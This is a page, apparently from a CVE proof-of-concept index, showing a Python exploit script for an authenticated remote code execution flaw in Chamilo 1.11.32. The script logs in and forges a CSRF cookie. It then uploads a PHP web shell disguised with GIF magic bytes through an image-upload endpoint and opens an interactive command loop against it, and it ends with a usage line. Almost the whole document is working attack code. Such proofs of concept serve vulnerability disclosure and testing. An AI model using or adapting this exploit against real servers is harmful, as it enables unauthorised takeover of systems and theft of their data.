5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cvd-10-10.py PY
import requests
import argparse
import sys
import random
import string
import time
def exploit(url, username, password):
    session = requests.Session()
    # 1. Login
    login_url = f"{url}/index.php"
    print(f"[+] 1. Logging in as {username}...")
    
    login_data = {
        'login': username,
        'password': password,
        'submitAuth': 1
    }
    
    try:
        resp = session.post(login_url, data=login_data, allow_redirects=True)
        if "user_portal.php" not in resp.url and "index.php" in resp.url and "loginFailed" in resp.url:
            print("[-] Login failed. Check credentials.")
            return
        print("[+] Login successful.")
    except Exception as e:
        print(f"[-] Login request failed: {e}")
        return
    # 2. Prepare Payload
    # Generate a random PHP filename
    filename = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    
    # Magic bytes for GIF89a to bypass mime_content_type check if strictly implemented on magic bytes
    # The vulnerability report states mime_content_type is used.
    # Payload: GIF89a header + PHP shell
    payload_content = b'GIF89a;\n<?php echo "Shell Executed: "; system($_GET["cmd"]); ?>'
    
    # 3. Upload File
    # Endpoint: main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD
    # cidReq is required for api_protect_course_script() to pass
    upload_url = f"{url}/main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD"
    print(f"[+] 2. Uploading malicious file to {upload_url}...")
    
    # Generate a random CSRF token
    csrf_token = ''.join(random.choices(string.ascii_letters + string.digits, k=20))
    
    # Set the cookie
    session.cookies.set("ckCsrfToken", csrf_token)
    
    # Correct multipart structure is crucial. 
    # The PHP script expects $_FILES['upload']
    # We send csrf token as a field in the multipart data via 'data' parameter
    files = {
        'upload': (filename, payload_content, 'image/gif')
    }
    
    # We don't need 'data' anymore if we put it in 'files' with None filename
    # but requests might need it in 'data' for simple fields. 
    # Let's try putting it in 'data' as standard requests usage first, but make sure cookies are set.
    # The previous attempt didn't work. The issue might be requests not sending the cookie properly or the token mismatch.
    
    # Let's verify we are getting the cookie first.
    if 'ckCsrfToken' not in session.cookies:
         session.cookies.set("ckCsrfToken", csrf_token)

    data = {
        'ckCsrfToken': csrf_token
    }
    
    try:
        # Note: 'files' argument in requests automatically sets Content-Type to multipart/form-data
        # We explicitly pass cookies just to be safe, though session should handle it.
        resp = session.post(upload_url, files=files, data=data, cookies={"ckCsrfToken": csrf_token})
        
        if resp.status_code != 200:
            print(f"[-] Upload failed with status code {resp.status_code}")
            print("Response:", resp.text)
            return

        # Check for redirects
        if len(resp.history) > 0:
            print("[-] Request was redirected:")
            for r in resp.history:
                print(f"  {r.status_code} -> {r.url}")
            print(f"  Final URL: {resp.url}")
            
        # Parse JSON response
        try:
            json_resp = resp.json()
            # Check for boolean true or 1 or string "1"
            if json_resp.get('uploaded') == 1 or json_resp.get('uploaded') == True:
                relative_url = json_resp.get('url')
                print(f"[+] Upload successful! Relative URL: {relative_url}")
                
                # 4. Execute Command
                # The relative URL usually starts with /, so we join carefully
                if relative_url.startswith('/'):
                    shell_full_url = f"{url}{relative_url}"
                else:
                    shell_full_url = f"{url}/{relative_url}"
                
                print(f"[+] 3. Remote Shell Active at {shell_full_url}")
                print("[+] Type 'exit' to quit.")
                
                while True:
                    try:
                        cmd = input("Shell> ")
                        if cmd.lower() in ['exit', 'quit']:
                            break
                        
                        # Add a cache-buster to prevent caching
                        shell_resp = session.get(shell_full_url, params={'cmd': cmd, '_': int(time.time())})
                        
                        if "Shell Executed:" in shell_resp.text:
                            # Extract output after our marker
                            output = shell_resp.text.split("Shell Executed: ")[1].strip()
                            print(output)
                        else:
                            print("[-] Execution marker not found.")
                            # print(shell_resp.text)
                    except KeyboardInterrupt:
                        print("\n[+] Exiting...")
                        break
                    except Exception as e:
                        print(f"[-] Error: {e}")
                    
            else:
                print("[-] Upload failed according to JSON response.")
                print("Response:", json_resp)
                
        except ValueError:
            print("[-] Failed to parse JSON response. Raw response:")
            print(f"Final URL: {resp.url}")
            print(resp.text) 
            print(f"Status Code: {resp.status_code}")
            
    except Exception as e:
        print(f"[-] Upload request failed: {e}")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Chamilo 1.11.32 Authenticated RCE Exploit (CVE-PoC)")
    parser.add_argument("-u", "--url", required=True, help="Base URL of Chamilo (e.g., http://localhost/chamilo)")
    parser.add_argument("-l", "--login", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    
    args = parser.parse_args()
    
    # Remove trailing slash from URL
    target_url = args.url.rstrip('/')
    
    exploit(target_url, args.login, args.password)
# Usage: python .\cvd-10-10.py -u http://localhost:8081 -l student -p cvd1010